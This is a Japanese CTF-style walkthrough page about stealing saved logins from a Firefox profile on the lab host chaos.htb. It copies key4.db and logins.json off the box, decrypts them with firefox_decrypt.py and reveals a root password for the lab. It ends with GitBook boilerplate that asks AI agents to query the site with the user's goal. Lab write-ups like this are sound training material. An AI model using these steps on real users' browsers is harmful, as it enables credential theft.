> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/post-exploitation/extracting-credentials-from-firefox-profile.md).

# Firefox プロファイルの認証情報を抽出する

ブラウザプロファイルの場所を特定し、保存済みログインを復元し、キー DB を扱い、公開されたユーザー秘密情報を監査するための Firefox 認証情報抽出メモ。

## **Firefoxの認証情報抽出**

Ayushの `.mozilla` フォルダには、次のものがあります `key4.db` および `logins.json`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c2eac40396c2b68731261b765a11e1f2e8aba38%2F%7BABE56395-52E7-47A5-A158-2751DAA891DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

それらを自分たちのマシンに転送します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7c1a19c56ca0ebe1ad23ec4a5dc219ea2cbb707%2Fimage%20(2879).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-361a3cf3c76dc4b8ebece6f6c45d4223af4b8eec%2F%7B7F048C52-413C-411D-AA78-D13832493613%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次を使って認証情報を復号: `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

入力します `jiujitsu` をマスターパスワードとして入力し、次を復元します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-353c93e01df2ee3d686c6f48ae7e6b0d8aff7dca%2F%7BCC0C45D8-BED8-4DDE-A59A-21B9B6FD2174%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> chaos.htb:8080/bzo7sjt1.default プロファイルのマスターパスワード
>
> ウェブサイト: <https://chaos.htb:10000>
>
> ユーザー名: 'root' パスワード: 'Thiv8wrej/\~


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/post-exploitation/extracting-credentials-from-firefox-profile.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
